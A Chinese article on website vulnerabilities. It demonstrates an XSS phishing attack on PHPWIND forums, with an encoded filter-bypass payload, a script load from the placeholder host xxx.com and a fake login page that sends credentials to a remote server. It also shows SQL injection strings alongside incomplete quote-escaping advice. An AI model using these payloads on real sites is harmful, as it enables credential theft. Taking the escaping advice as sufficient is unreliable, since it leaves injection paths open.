當(dāng)你打開百度新聞搜索“黑客”關(guān)鍵字時能看到什么?沒錯，有太多知名的網(wǎng)站被黑客攻破，有太多牛X的IT系統(tǒng)對黑客來說如入無人之境……

進入WEB2.0時代，我們的IT當(dāng)真變得如此脆弱了嗎?記得在一次有關(guān)安全的研討會上，有專家談到了這樣的觀點：互聯(lián)網(wǎng)在設(shè)計之初，也沒能預(yù)想到互聯(lián)網(wǎng)會發(fā)展成現(xiàn)在的龐大規(guī)模，如果互聯(lián)網(wǎng)依然只應(yīng)用于教育網(wǎng)、科研網(wǎng)，就不會有這么多的問題，難道我們真得需要在重新織一張網(wǎng)?雖然這只是一種假設(shè)，也可能是未來創(chuàng)新的一個星星之火，但在現(xiàn)階段，還是讓我們收回思想的翅膀，來解決實際中的問題吧!

網(wǎng)站安全在經(jīng)歷了2011年底的泄密門之后，得到了各方面的重視，互聯(lián)網(wǎng)企業(yè)開始重新審視自身的安全性、安全廠商開始更多的關(guān)注這方面的問題并推出了相應(yīng)的解決方案、政府也在從法律法規(guī)方面對網(wǎng)站安全進行了相關(guān)的規(guī)定(未證實消息：中國的薩班斯法案在今年也將出臺)。

近日，小編從國內(nèi)知名的漏洞報告平臺WooYun.org上得到了以下幾張圖，圖中標(biāo)注的是各企業(yè)網(wǎng)站所存在的漏洞類型和造成系統(tǒng)漏洞的主要原因：

從上圖我們可以不難找出企業(yè)網(wǎng)站存在安全風(fēng)險的幾個同共點：XSS跨站腳本攻擊、SQL注入漏洞、后臺弱口令、系統(tǒng)/服務(wù)運維配置不當(dāng)以及系統(tǒng)/服務(wù)補丁不及時……下面我們就從這主要的幾點開始和大家一起探討：

1、 XSS跨站腳本攻擊

上圖所列出的互聯(lián)網(wǎng)企業(yè)有門戶網(wǎng)站、行業(yè)網(wǎng)站、視頻網(wǎng)站、旅游網(wǎng)站等，從不同類型的網(wǎng)站我們可以看出，XSS跨站腳本攻擊是黑客使用最普遍的攻擊方式，這里我們?yōu)榇蠹艺砹薠SS跨站腳本攻擊的原理，希望能對大家有幫助。

小白一下：XSS又叫CSS (Cross Site Script) ，跨站腳本攻擊。它指的是惡意攻擊者往Web頁面里插入惡意html代碼，當(dāng)用戶瀏覽該頁之時，嵌入其中Web里面的html代碼會被執(zhí)行，從而達到惡意用戶的特殊目的。XSS屬于被動式的攻擊，因為其被動且不好利用，所以許多人常呼略其危害性。

跨站腳本攻擊最大的魅力是通過HTML注入劫持用戶的瀏覽器，任意構(gòu)造用戶當(dāng)前瀏覽的HTML內(nèi)容，甚至可以模擬用戶當(dāng)前的操作。這里介紹一種新式攻擊方法：XSS Phishing(跨站腳本釣魚攻擊)，利用這種方式可以直接盜取用戶的密碼，下面我就拿最近PHPWIND論壇所暴出的XSS做一下演示，PHPWIND對上傳文件名沒有處理嚴(yán)格，導(dǎo)致可以寫入跨站腳本。

先做一個簡單的測試，發(fā)一篇新帖，在附件中隨意寫入一個本地路徑加帶“<” 和“>”的文件名，如圖一

發(fā)帖成功后我們會發(fā)現(xiàn)，帖子附件名已經(jīng)沒有了，如圖二

我們查看當(dāng)前頁面的源代碼會發(fā)現(xiàn)已經(jīng)寫到頁面內(nèi)，如圖三

當(dāng)然要寫入腳本，PHPWIND還是做了限制，文件名中出現(xiàn)"(","/"字符將會被過濾，不過可以利用HTML轉(zhuǎn)碼的方式繞過這個限制，如轉(zhuǎn)換成

<TABLE BACKGROUND=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#47&#120&#115&#115&#47&#41>

這樣我們已經(jīng)實現(xiàn)了跨站腳本的寫入，關(guān)鍵是怎么實現(xiàn)攻擊，這一處跨站腳本漏洞進行了HTML轉(zhuǎn)碼，我們不方便寫入過長的內(nèi)容，那么就加載一個JS文件，動態(tài)創(chuàng)建一個script標(biāo)記，代碼如下：

<TABLE BACKGROUND=javascript:s=document.createElement("script");s.src="http://xxx.com/xss.js";document.body.appendChild(s);>

OK,到了這一步我們就可以在JS中任意構(gòu)造我們的攻擊代碼，攻擊的思路是當(dāng)用戶訪問帖子，利用腳本清空當(dāng)前頁面，然后重新寫成釣魚頁面。

首先我們可以實驗一下，javacript有一個小特性,延時輸出將會清空當(dāng)前頁面所有的內(nèi)容，代碼如下：

function Phish(){

info = "我是來釣魚的！"

document.write(info);

}

function doit(){

setTimeout("Phish()", 1000 );

}doit()

如圖四，帖子頁面的代碼和內(nèi)容全變成了“我是來釣魚的!”

想一想，如果我們把info變量的內(nèi)容變成HTML代碼會怎樣，如圖五

嘿嘿，邪惡一點!我們完全可以把頁面變成一個自己操縱的登錄頁面，將表單的值指向遠程服務(wù)器上的程序，如圖六

然后遠程服務(wù)器上的程序?qū)⒔邮鼙韱蜳OST的用戶和密碼，當(dāng)然我們可以做巧妙點，讓其訪問后又轉(zhuǎn)跳回論壇首頁，代碼如下：

最后我們便完成了釣魚的過程，管理員訪問我們的帖子，馬上重寫當(dāng)前頁面，設(shè)置一個重新登錄的陷阱，盜取用戶名和密碼，全部過程只在沒有察覺的一瞬間.

這類攻擊方式危害很大，文中的原始代碼只是描敘一下思路，有很多破綻，當(dāng)然如果你夠邪惡的話，完全可以自己重寫代碼，釣魚于無形之中。

提醒一下，跨站腳本不僅僅是簡單的掛馬，XSS Phishing(跨站腳本釣魚攻擊)只是一個簡單的開始!

2、 SQL注入漏洞

SQL注入漏洞的產(chǎn)生原因是網(wǎng)站程序在編寫時，沒有對用戶輸入數(shù)據(jù)的合法性進行判斷，導(dǎo)致應(yīng)用程序存在安全隱患。SQL注入漏洞攻擊的就是利用現(xiàn)有應(yīng)用程序沒有對用戶輸入數(shù)據(jù)的合法性進行判斷，將惡意的SQL命令注入到后臺數(shù)據(jù)庫引擎執(zhí)行的黑客攻擊手段。

下面總結(jié)了一位開發(fā)者對預(yù)防SQL注入的幾點建議：

開發(fā)者的觀點：SQL注入攻擊的本質(zhì)是讓客戶端傳遞過去的字符串變成SQL語句，而且能夠被執(zhí)行;每個程序員都必須肩負起防止SQL注入攻擊的責(zé)任。

說起防止SQL注入攻擊，感覺很郁悶，這么多年了大家一直在討論，也一直在爭論，可是到了現(xiàn)在似乎還是沒有定論。當(dāng)不知道注入原理的時候會覺得很神奇，怎么就被注入了呢?會覺得很難預(yù)防。但是當(dāng)知道了注入原理之后預(yù)防不就是很簡單的事情了嗎?

第一次聽說SQL注入攻擊的時候還是在2004年(好像得知的比較晚)，那是還是在寫asp呢。在一次寫代碼的時候，有同事問我，你的這段代碼防注入攻擊了嗎?什么攻擊?這是什么呀。后來到網(wǎng)上各種找，終于弄明白了是怎么攻擊進來的了。注入攻擊都是來自于客戶端，無論是表單提交、URL傳值還是Cookie等，其實原理都是一樣的。到了服務(wù)器端可以分成三種情況：數(shù)字、日期時間、字符串。

(1)、數(shù)字。

如何注入?

假設(shè)我們要實現(xiàn)一個顯示新聞的頁面，我們可能會隨手寫下下面的代碼：

string id = Request.QueryString["id"];

string sql = "select * from news where ColID=" + id;

如果傳遞過來的 id是我們想像的 數(shù)字(比如168)，那么自然不會有什么問題。但是如果傳遞過來的id是“168 delete from table ”的話，那么sql的值就變成了“select * from table where ColID=168 delete from news”。對于SQL Server來說是支持一次提交多條SQL語句的，這個為我們提供了方便之余也為SQL注入敞開了大門。顯然如果這條SQL語句被執(zhí)行的話，那么news表里的記錄就都沒有了。

那么如何預(yù)防呢?很簡單，因為ColID字段的類型是int的，那么我們只需要驗證一下傳遞過來的id是不是整數(shù)就可以了。是整數(shù)就不存在注入;如果不是那么就有可能存在注入。即使不存在注入，把一個不是整數(shù)的id拼接進去也會造成執(zhí)行錯誤。所以說不管是不是為了預(yù)防SQL注入，也都應(yīng)該驗證id是不是整數(shù)。

驗證方法嘛，可以用TryParse，可以用正則，也可以自己寫函數(shù)驗證。但是不建議用try異常的方式，因為這個有效率問題。

這里還有一個特殊情況，就是對于批量刪除這類的會傳遞過來多個數(shù)字，比如“1，2，3，10”，這個也需要驗證一下，萬一有人利用這個漏洞呢。至于驗證方法也很簡單，自己寫個函數(shù)就ok了。

(2)、日期時間

這個和數(shù)字的情況是一樣的，驗證是不是日期時間即可。

(3)、字符串

最麻煩、爭議最大的就是這個了。

先看一下如何注入，比如我們先要按照新聞標(biāo)題來進行查詢，可能寫的代碼：

string key = txtTitle.Text;

string sql = "select * from news where title like '%" + key + "%'";

這個又是如何注入的呢?我想先問大家一個問題：如果key的值永遠都不會包含單引號，那么會不會被注入進來?

那么用了單引號又是如何注入的呢?假設(shè)key=" ' delete from news --" ，那么sql的值就是“ select * from news where title like '%' delete from news -- ' ”。

先用一個單引號和前面的單引號組成一對封閉的單引號，這一對單引號內(nèi)部('%')就作為字符串處理，而外面的就被作為SQL語句處理，而第二個單引號被 “--”給注釋掉了，這樣就保證了整個sql語句的正確性。

這是注入的一種方法，那么如何來防止呢?想想剛才的問題，如果沒有單引號是不是就天下太平了呢?對于這種情況(前面的“數(shù)字”的情況不算)，到目前為止我是沒發(fā)現(xiàn)不用單引號，還能夠注入進來的方法。也許是我孤陋寡聞吧，不知道各位高手是否知道對于這種情況，不用單引號還能注入進來的方法。

既然找到了罪魁禍?zhǔn)祝敲淳秃棉k了，把單引號干掉就ok了。key = key.Replace("'", "''");這時候sql的值就是” select * from news where title like '%'' delete from news --'”。

對于SQL 來說在一對單引號內(nèi)部的兩個單引號表示一個字符串形式的單引號。這樣我們就把罪魁禍?zhǔn)赘脑斐闪俗址?。在一對單引號?nèi)的“--”也是普通的字符串而不代表注釋。

罪魁禍?zhǔn)资菃我?，想不明白為什么有許多人都去過濾 “delete、update”這一類的關(guān)鍵字，他們都是安善良民呀，他們是很冤枉的。當(dāng)然了，如果前提是程序都已經(jīng)寫好了，不能修改內(nèi)部代碼，那就另當(dāng)別論了。至于“--”頂多算是幫兇，如果您不放心的話，把他處理了也行。

總結(jié)：數(shù)字、日期時間的，驗證類型;字符串的，處理好單引號。另外為了安全起見，不要用sa連接數(shù)據(jù)庫，xp_cmdshell這一類的有危險的擴展存儲過程也應(yīng)該處理一下(比如刪除)。

3、其他需要關(guān)注的……

從第一頁給出的那張圖中，大家也許能看出些不同。沒錯，有的互聯(lián)網(wǎng)企業(yè)在系統(tǒng)/服務(wù)運維方面做的非常好，比如門戶網(wǎng)站的百度、騰訊;也有的互聯(lián)網(wǎng)企業(yè)在系統(tǒng)/服務(wù)運維上就差勁了許多。關(guān)于系統(tǒng)運維，各位都是大牛，小編就不在這里班門弄斧了。